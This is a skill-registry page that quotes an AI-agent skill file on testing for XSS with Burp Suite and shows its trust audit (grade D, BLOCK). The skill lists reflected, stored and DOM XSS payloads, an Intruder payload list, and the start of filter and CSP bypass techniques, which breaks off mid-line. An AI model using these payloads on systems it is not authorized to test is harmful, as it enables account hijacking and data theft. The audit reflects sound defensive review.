Testing For Xss Vulnerabilities With BurpsuiteBLOCK
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Overview
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
6c59587be632OBSERVED · 2026-10-07What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
--- name: testing-for-xss-vulnerabilities-with-burpsuite description: Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - xss - burpsuite - owasp - web-security - cross-site-scripting version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 mitre_attack: - T1190 - T1059.007 - T1505.003 - T1083 --- # Testing for XSS Vulnerabilities with Burp Suite ## When to Use - During authorized web application penetration testing to find reflected, stored, and DOM-based XSS - When validating XSS findings reported by automated vulnerability scanners - For testing the effectiveness of Content Security Policy (CSP) and XSS filters - When assessing client-side security of single-page applications (SPAs) - During bug bounty programs targeting XSS vulnerabilities ## Prerequisites - **Authorization**: Written scope and rules of engagement for the target application - **Burp Suite Professional**: Licensed version with active scanner capabilities - **Browser**: Firefox or Chromium with Burp CA certificate installed - **FoxyProxy**: Browser extension configured to route traffic through Burp proxy (127.0.0.1:8080) - **Target application**: Authenticated access with valid test credentials - **XSS payloads list**: Custom wordlist or Burp's built-in XSS payload set ## Workflow ### Step 1: Configure Burp Suite and Map the Application Set up the proxy and crawl the application to discover all input vectors. ``` # Burp Suite Configuration 1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080 2. Target > Scope: Add target domain (e.g., *.target.example.com) 3. Dashboard > New Scan > Crawl only > Select target URL 4. Enable "Passive scanning" in Dashboard settings # Browser Setup - Install Burp CA: http://burpsuite → CA Certificate - Import certificate into browser trust store - Configure proxy: 127.0.0.1:8080 - Browse the application manually to build the site map ``` ### Step 2: Identify Reflection Points with Burp Repeater Send requests to Repeater and inject unique canary strings to find where user input is reflected. ``` # In Burp Repeater, inject a unique canary string into each parameter: GET /search?q=xsscanary12345 HTTP/1.1 Host: target.example.com # Check the response for reflections of the canary: # Search response body for "xsscanary12345" # Note the context: HTML body, attribute, JavaScript, URL, etc. # Test multiple injection contexts: # HTML body: <p>Results for: xsscanary12345</p> # Attribute: <input value="xsscanary12345"> # JavaScript: var search = "xsscanary12345"; # URL context: <a href="/page?q=xsscanary12345"> # Test with HTML special characters to check encoding: GET /search?q=xss<>"'&/ HTTP/1.1 Host: target.example.com # Check which characters are reflected unencoded ``` ### Step 3: Test Reflected XSS with Context-Specific Payloads Based on the reflection context, craft targeted XSS payloads. ``` # HTML Body Context - Basic payload GET /search?q=<script>alert(document.domain)</script> HTTP/1.1 Host: target.example.com # HTML Attribute Context - Break out of attribute GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1 Host: target.example.com # JavaScript String Context - Break out of string GET /search?q=';alert(document.domain)// HTTP/1.1 Host: target.example.com # Event Handler Context - Use alternative events GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1 Host: target.example.com # SVG Context GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1 Host: target.example.com # If angle brackets are filtered, try encoding: GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: target.example.com ``` ### Step 4: Test Stored XSS via Burp Intruder Use Burp Intruder to test stored XSS across input fields like comments, profiles, and messages. ``` # Burp Intruder Configuration: # 1. Right-click request > Send to Intruder # 2. Positions tab: Mark the injectable parameter # 3. Payloads tab: Load XSS payload list # Example payload list for Intruder: <script>alert(1)</script> <img src=x onerror=alert(1)> <svg/onload=alert(1)> <body onload=alert(1)> <input onfocus=alert(1) autofocus> <marquee onstart=alert(1)> <details open ontoggle=alert(1)> <math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>"> "><img src=x onerror=alert(1)> '-alert(1)-' \'-alert(1)// # In Intruder > Options > Grep - Match: # Add patterns: "alert(1)", "onerror=", "<script>" # This flags responses where payloads are reflected/stored ``` ### Step 5: Test DOM-based XSS Identify client-side JavaScript that processes user input unsafely using Burp's DOM Invader. ``` # Enable DOM Invader in Burp's embedded browser: # 1. Open Burp's embedded Chromium browser # 2. Click DOM Invader extension icon > Enable # 3. Set canary value (e.g., "domxss") # Common DOM XSS sinks to monitor: # - document.write() # - innerHTML # - outerHTML # - eval() # - setTimeout() / setInterval() with string args # - location.href / location.assign() # - jQuery .html() / .append() # Common DOM XSS sources: # - location.hash # - location.search # - document.referrer # - window.name # - postMessage data # Test URL fragment-based DOM XSS: https://target.example.com/page#<img src=x onerror=alert(1)> # Test via document.referrer: # Create a page that links to the target with XSS in the referrer ``` ### Step 6: Bypass XSS Filters and CSP When basic payloads are blocked, use advanced techniques to bypass protections. ``` # CSP Analysis - Check response headers: Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com # Common CSP bypasses: # If 'unsafe-inline' is allowed: <script>alert(document.domain)</script> # If a CDN is whitelisted (e.g., cdnjs.cloudflare.com): <scr
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (10 observation(s))
- Shell
- declared (1 observation(s))
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (7)
weaknesses.append("unsafe-eval allows eval()")resp = requests.get(base_url, headers=headers, timeout=15, verify=False)
resp = requests.get(full_url, headers=headers, timeout=10, verify=False)
resp = requests.get(url, headers=headers, timeout=10, verify=False)
resp = requests.post(url, headers=headers, json=data, timeout=10, verify=False)
display_resp = requests.get(display_url, headers=headers, timeout=10, verify=False)
- **Target application**: Authenticated access with valid test credentials
Gates applied: no_behavioural_pass.
6c59587be632full audit observations/trust-audit/skill/mukul975__testing-for-xss-vulnerabilities-with-burpsuite.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-07 | 6c59587be632 | BLOCK | D | 69 | first audit |
Questions
What does the Testing For Xss Vulnerabilities With Burpsuite skill do?
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Is Testing For Xss Vulnerabilities With Burpsuite safe to install?
No — not without reading the findings first. The audit graded it D (69/100) and found 7 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What can Testing For Xss Vulnerabilities With Burpsuite access on my machine?
The audit observed that it reaches the network and runs shell commands. Each of those is consistent with what it says it does. Secrets in the source: none found.
How current is this page?
The grade is for one exact copy of the source (6c59587be632), read on 2026-10-07. The repository is watched, and a new audit runs when it changes — this is the first audit.